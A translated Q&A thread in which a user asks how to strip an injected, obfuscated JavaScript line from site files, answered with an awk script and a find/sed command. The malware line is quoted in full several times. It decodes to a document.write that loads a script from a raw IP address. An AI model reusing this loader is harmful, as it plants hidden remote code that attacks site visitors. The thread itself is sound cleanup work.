2017-02-01 2 views
4

Я хочу заменить шаблон с помощью команды sed. Шаблон, который нужно удалить, выглядит следующим образом: пробел.замена сложного шаблона с помощью sed

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0])) 

Теперь мне нужно заменить вышеуказанный шаблон пробелом. Этот patter может быть в любом месте файла (может быть в начале файла/конца файла или между некоторыми строками)

любые подсказки для регулярного выражения для удаления через sed?

Спасибо.

+3

выглядит как проблема XY. Что вы пытаетесь достичь? – Sobrique

+0

это вредоносная программа, в которую вставляются java-скрипты, и я хочу удалить эту вредоносную программу из каждого файла. – Iamtheroot

+0

[смотрите в quotemeta \ Q \ E] (http://perldoc.perl.org/functions/quotemeta.html) – AbhiNickz

ответ

2
$ cat r.awk 
#!/usr/bin/awk -f 

NR == FNR { # read a first file with a string to match 
    str = $0 
    rep = " " # replace by `rep' 
    RS = "$^" # regexp which never matches => the next record will be 
       # a string with a whole second file 
    nextfile 
} 

{ 
    file = $0; ans = "" 
    while (i = index(file, str)) { 
     pre = substr(file, 1    , i - 1) # parts before 
     post = substr(file, i + length(str))   # and after `str' 
     ans = ans pre rep # append to the output 
     file = post 
    } 
    ans = ans file 
    printf "%s", ans 
} 

магазин строка в файле

$ cat r.txt 
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0])) 

Пример

$ cat f.txt 
BEFORE 
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0])) 
AFTER 
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]]\(_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]]\(_0xaae8[0])) 
END 

Использование:

$ awk -f r.awk r.txt f.txt 

BEFORE 

AFTER 

END 
+0

Спасибо. Это выглядит многообещающе. Также как мы обновляем изменения через awk в файл? как sed -i? – Iamtheroot

+0

Я использую gawk-4.0.2-4.el7.x86_64, поэтому не похоже, что на месте не вариант. – Iamtheroot

+0

Спасибо slitvinov. Он работает отлично. – Iamtheroot

1

Другой способ добиться того, что вы ищете «удаление шаблон только "с использованием find и sed команд в одной строке:

$ find /path/to/files/ -type f \(-name "*.js" -o -name "*.json" \) -exec sh -c 'sed -i "s/var\s_0xaae8.*_0xaae8\[0\]))//" "$0"' {} \; 

выше команда будет искать под определенным путем и удалить шаблон, если найдено из любого файла с этими расширениями js или json.

только JS:

$ find /path/to/files/ -type f -name "*.js" -exec sed -i "s/var\s_0xaae8.*_0xaae8\[0\]))//" '{}' \; 

Вы можете удалить -name "*.x" часть, если вы хотите найти любой файл с любым расширением

Смежные вопросы